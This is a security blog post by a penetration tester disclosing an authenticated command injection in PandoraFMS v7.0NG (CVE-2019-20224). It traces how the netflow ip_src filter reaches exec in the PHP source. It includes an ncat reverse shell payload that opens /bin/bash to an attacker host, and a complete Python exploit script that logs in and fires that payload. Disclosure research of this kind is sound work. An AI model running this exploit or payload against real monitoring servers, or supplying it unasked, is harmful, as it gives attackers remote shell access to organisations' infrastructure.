# PandoraFMS v7.0NG authenticated Remote Code Execution (CVE-2019-20224)
Posted on 2020-01-042020-01-08 by
[Askar](https://shells.systems/author/askar/)

Estimated Reading Time: 6 minutes
#### Summary about Pandora
Pandora FMS is a monitoring software for IT infrastructure management. It
includes network equipment, Windows and Unix servers, virtual infrastructure
and all different kinds of applications. Pandora FMS has a large amount of
features, making it a new generation software which covers all the monitoring
issues that your organization may have.
#### About the exploit
To find the vulnerability I had to do a analyze a couple of nested functions
which was a lot of fun to me, the vulnerability occurs when we try to inject a
malicious input the handles an IP address to generate some sort of graphs that
is generated by Pandora itself, am authenticated attacker can exploit the
vulnerability by sending a crafted request that contains the payload to a
function called "netflow_get_stats" on the file "functions_netflow.php" and
the function "netflow_get_stats" calls another function called
"netflow_get_command" to generate the required command, and finally a function
called "netflow_get_filter_arguments" will parse and handle the final input
that will be passed again to exec function in "netflow_get_stats" function
line #648 to trigger the final payload.
And of course as usual, I used the [same python
script](https://github.com/mhaskar/RCEScanner) to hunt for RCE.
After running the script, I got a lot of starting points, and after browsing
them I decided to start with functions_netflow.php.
```
function netflow_get_stats ($start_date, $end_date, $filter, $aggregate, $max, $unit, $connection_name = '', $address_resolution = false) {
global $config, $nfdump_date_format;
// Requesting remote data
if (defined ('METACONSOLE') && $connection_name != '') {
$data = metaconsole_call_remote_api ($connection_name, 'netflow_get_stats', "$start_date|$end_date|" . base64_encode(json_encode($filter)) . "|$aggregate|$max|$unit|" . (int)$address_resolution);
return json_decode ($data, true);
}
// Get the command to call nfdump
$command = netflow_get_command ($filter);
// Execute nfdump
$command .= " -o csv -q -n $max -s $aggregate/bytes -t " .date($nfdump_date_format, $start_date).'-'.date($nfdump_date_format, $end_date);
exec($command, $string);
if (! is_array($string)) {
return array ();
}
```
So as we can see in line #648, we got some values passed to exec function as a
variable called "command", which calls a function called netflow_get_command
and pass the filter variable to it, and by taking a look to
netflow_get_command function, we can see the following:
```
function netflow_get_command ($filter) {
global $config;
// Build command
$command = io_safe_output ($config['netflow_nfdump']) . ' -N';
// Netflow data path
if (isset($config['netflow_path']) && $config['netflow_path'] != '') {
$command .= ' -R. -M '.$config['netflow_path'];
}
// Filter options
$command .= netflow_get_filter_arguments ($filter);
return $command;
}
```
As we can see, the final command will be concatenated with a variable from the
configuration of Pandora in line #900 and also will be concatenated with the
output of a function called "netflow_get_filter_arguments" in line #904, so
also we need to talk a look at the netflow_get_filter_arguments function to
get the following:
```
function netflow_get_filter_arguments ($filter) {
// Advanced filter
$filter_args = '';
if ($filter['advanced_filter'] != '') {
$filter_args = preg_replace('/["\r\n]/','', io_safe_output ($filter['advanced_filter']));
return ' "(' . $filter_args . ')"';
}
if ($filter['router_ip'] != "") {
$filter_args .=' "(router ip ' . $filter['router_ip'] . ')';
}
// Normal filter
if ($filter['ip_dst'] != '') {
$filter_args .= ' "(';
$val_ipdst = explode(',', io_safe_output ($filter['ip_dst']));
for ($i = 0; $i < count ($val_ipdst); $i++) {
if ($i > 0) {
$filter_args .= ' or ';
}
if (netflow_is_net ($val_ipdst[$i]) == 0) {
$filter_args .= 'dst ip '.$val_ipdst[$i];
}
else {
$filter_args .= 'dst net '.$val_ipdst[$i];
}
}
$filter_args .= ')';
}
if ($filter['ip_src'] != '') {
if ($filter_args == '') {
$filter_args .= ' "(';
}
else {
$filter_args .= ' and (';
}
$val_ipsrc = explode(',', io_safe_output ($filter['ip_src']));
for ($i = 0; $i < count ($val_ipsrc); $i++) {
if ($i > 0) {
$filter_args .= ' or ';
}
if (netflow_is_net ($val_ipsrc[$i]) == 0) {
$filter_args .= 'src ip '.$val_ipsrc[$i];
}
else {
$filter_args .= 'src net '.$val_ipsrc[$i];
}
}
$filter_args .= ')';
```
The previous code are responsible about building the formatted string that
will be used with the command itself later on based on the filter type which
will be not that important to us, and in line #960 we can see that filter_args
variable will hold the value of our ip_src input after confirming the type of
the input if it was a "ip or net address" and it using a function called
"netflow_is_net" to do that which has the following code:
```
/**
* Returns 1 if the given address is a network address.
*
* @param string address Host or network address.
*
* @return 1 if the address is a network address, 0 otherwise.
*
*/
function netflow_is_net ($address) {
if (strpos ($address, '/') !== FALSE) {
return 1;
}
return 0;
}
```
Now this function should check if you are entering a valid hostname or IP
address by checking the first character of your input if it was a "/" or not,
and based on line #959 back on "netflow_get_filter_arguments" function we can
see that it's only compare if the result is 0 then accept the input as ip and
concatenate it as scr ip otherwise concatenate it as src net, and in the final
case we will got our payload saved and returned in the filter_args variable no
matter what the result was and back to the function
netflow_get_filter_arguments, we can see that the payload will be saved
between () like the following:
```
(our payload here)
```
And to confirm that, I will add an echo statement in line #1020 to confirm the
final result of the output function:

And after send the request with the value SRC IP we will get the following:

> We can browse the vulnerable page by visiting
> [http://host/pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0](http://192.168.178.141/pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0)
>
>
Because PandoraFms using rerouting for the URLs, I just searched more in the
code and understand the way that he handles the URLs and how to talk with the
files to find the page and the input of it.
Now the result of filter_args will be returned to $command variable in line
#904 which will be concatenated with other variable called command in function
netflow_get_stats line #644,647 and finally will be passed to exec function in
line #468.
So now we know how to send the input and how our input will be handled, all we
have to do is to send the crafted request and escape the input, to do that we
need to print the final result of the variable "command" in function
netflow_get_stats like the following:

To get the following results:

Great! as we can see we got the full command printed to us and exactly as we
mentioned from our analysis that it will be printed out between (), so to
escape that we need to use the following payload:
```
"; Our payload here #
```
The " to escape the command and the ; to inject the command and finally the #
to comment out everything else.
Lets just test that by sending a ncat reverse shell command like the
following:
```
";ncat -e /bin/bash 192.168.178.1 1337 #
```
To get the following results:

Perfect! we popped a shell.
> Of course I needed to encode the URL in order to send it correctly
And after that, I wrote a python code to exploit the vulnerability:
```
#!/usr/bin/python3
```
```
# Exploit Title: Pandora v7.0NG Remote Code Execution
# Date: 14/11/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2019-20224
# Vendor Homepage: https://pandorafms.org/
# Software link: https://pandorafms.org/features/free-download-monitoring-software/
# Version: v7.0NG
# Tested on: CentOS 7.3 / PHP 5.4.16
```
```
import requests
import sys
if len(sys.argv) != 6:
print("[+] Usage : ./exploit.py target username password ip port")
exit()
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = int(sys.argv[5])
request = requests.session()
login_info = {
"nick": username,
"pass": password,
"login_button": "Login"
}
login_request = request.post(
target+"/pandora_console/index.php?login=1",
login_info,
verify=False,
allow_redirects=True
)
resp = login_request.text
if "User not found in database" in resp:
print("[-] Login Failed")
exit()
else:
print("[+] Logged In Successfully")
print("[+] Sending crafted graph request ..")
body_request = {
"date": "0",
"time": "0",
"period": "0",
"interval_length": "0",
"chart_type": "netflow_area",
"max_aggregates": "1",
"address_resolution": "0",
"name": "0",
"assign_group": "0",
"filter_type": "0",
"filter_id": "0",
"filter_selected": "0",
"ip_dst": "0",
"ip_src": '";ncat -e /bin/bash {0} {1} #'.format(ip, port),
"draw_button": "Draw"
}
draw_url = target + "/pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0"
print("[+] Check your netcat ;)")
request.post(draw_url, body_request)
```
And after running the exploit we will get the following result:

The company already reported about the vulnerability and a fix should be
issued.
__Categories[static code analysis](https://shells.systems/category/static-
code-analysis/) __Tags[code analysis](https://shells.systems/tag/code-
analysis/), [exploit](https://shells.systems/tag/exploit/),
[pandora](https://shells.systems/tag/pandora/),
[php](https://shells.systems/tag/php/), [rce](https://shells.systems/tag/rce/)

[Askar](https://shells.systems/author/askar/ "Posts by Askar")
Penetration Tester, OSCE and OSCP certified
## Post navigation
[ PreviousPrevious post: Unveiling Octopus: The pre-operation C2 for Red
Teamers](https://shells.systems/unveiling-octopus-the-pre-operation-c2-for-
red-teamers/)
[NextNext post: Reviving MuddyC3 Used by MuddyWater (IRAN)
APT](https://shells.systems/reviving-leaked-muddyc3-used-by-muddywater-apt/)
### Leave a Reply [Cancel reply](/pandorafms-v7-0ng-authenticated-remote-code-
execution-cve-2019-20224/#respond)
Your email address will not be published. Required fields are marked *
Comment
Name *
Email *
Website
[Proudly powered by WordPress](https://wordpress.org/)
暂无评论